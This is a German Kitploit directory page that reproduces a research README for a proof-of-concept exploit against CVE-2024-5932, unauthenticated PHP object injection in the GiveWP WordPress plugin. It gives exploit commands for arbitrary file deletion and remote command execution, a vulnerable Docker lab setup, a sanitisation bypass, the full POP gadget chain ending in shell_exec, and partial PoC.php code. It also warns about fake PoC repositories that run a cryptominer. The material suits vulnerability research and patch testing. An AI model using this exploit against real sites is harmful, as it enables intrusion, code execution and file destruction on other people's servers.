Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-5932 — Proof-of-Concept-Exploit für CVE-2024-5932, eine PHP-Objektinjektions-Schwachstelle im GiveWP-WordPress-Plugin, die nicht authentifizierte Remote-Code-Ausführung und die willkürliche Löschung von Dateien über eine POP-Kette ermöglicht. | Kitploit
Tools/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & BildungPayload-Entwicklung
GitHub
nishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Proof-of-Concept-Exploit für CVE-2024-5932, eine PHP-Objektinjektions-Schwachstelle im GiveWP-WordPress-Plugin, die nicht authentifizierte Remote-Code-Ausführung und die willkürliche Löschung von Dateien über eine POP-Kette ermöglicht.

Repository anzeigen
4vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.

❗❗ WICHTIG ❗❗

Derzeit gibt es gefälschte PoC-GitHub-Repositories, die xmrig ausführen. Weitere Informationen finden Sie unter den folgenden Links:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC für beliebiges Dateilöschen und RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Zeitleiste

25. Aug. : CVE-2024-5932 PoC für Dateilöschung hochgeladen

26. Aug. : Wir haben erfolgreich beliebige Befehle mit CVE-2024-5932 ausgeführt, überlegen jedoch eine Offenlegung aufgrund der Auswirkungen.

27. Aug. : Wir fanden eine detaillierte Analyse des PoC in einem Beitrag von Julien Ahrens von RCE Security und beschlossen, unseren RCE-PoC zu veröffentlichen. Wir haben einen zusätzlichen RCE-PoC als CVE-2024-5932-rce.py hochgeladen.

Beschreibung

CVE-2024-5932 : GiveWP PHP Object Injection Schwachstelle Beschreibung: Das GiveWP Donation Plugin und Fundraising Platform Plugin für WordPress ist in allen Versionen bis einschließlich 3.14.1 anfällig für PHP Object Injection durch Deserialisierung von nicht vertrauenswürdigen Eingaben aus dem Parameter 'give_title'. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. Das zusätzliche Vorhandensein einer POP-Kette ermöglicht es Angreifern, Code remote auszuführen und beliebige Dateien zu löschen.

Verwendung

Git klonen

git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Pakete installieren

pip install -r requirements.txt

Befehl

# Beliebiges Dateilöschen
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote-Codeausführung
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Beispiel

python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Ausgabe

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Ergebnis

image 2

Angreifbare Umgebung

1. docker-compose.yml

services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Dann das anfällige GiveWP-Plugin herunterladen:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Entpacken Sie die GiveWP-Plugin-Zip-Datei und kopieren Sie die gesamte Datei in das Verzeichnis “/var/www/html/wp-content/plugins”.

docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Aktivieren Sie das GiveWP-Plugin

image

5. Fügen Sie einen neuen Beitrag mit dem GiveWP-Plugin hinzu und kopieren Sie den Beitragslink

image

6. Überprüfen Sie den anfälligen Link

image

(Optional) Einrichten der Zieldatei in der Docker-Umgebung

Greifen Sie zuerst mit folgendem Befehl auf die WordPress-Shell zu:

docker exec -it -u root docker-wordpress-1 /bin/bash

Wenn die Datei root gehört, kann sie aufgrund von Berechtigungen möglicherweise nicht gelöscht werden. Daher müssen Sie den Besitzer der Testdatei mit folgendem Befehl ändern:

touch test && chown www-data test

image

Debuggen mit PHPSTORM

Sie können Ihre GiveWP-Instanz mit PHPSTORM debuggen.

1. Xdebug in Ihrer WordPress-Umgebung (Docker) herunterladen:

pecl install xdebug

2. Dann die php.ini-Datei von WordPress wie folgt einrichten (Docker):

[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Und dann können Sie Ihre WordPress-Instanz debuggen.

3. PHPSTORM wie folgt einrichten (Lokal):

image image

4. PHPSTORM-Beispiel (z.B. TCPDF beliebiges Dateilöschen)

image

Analyse

Schwachstelle (includes/payments/class-give-payment.php)

An dieser Stelle deserialisiert die Funktion get_meta() den zuvor gespeicherten Wert 'give_title'.

switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Umgehungstechnik

strip_tags: Ersetze Nullbytes -> mit \0

stripslashes_deep: Ersetze Backslashes -> mit \\\\

POP-Chaining für RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Gibt Befehlstring zurück)

call_user_func('shell_exec', 'command')

PoC.php

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}
Tool herunterladen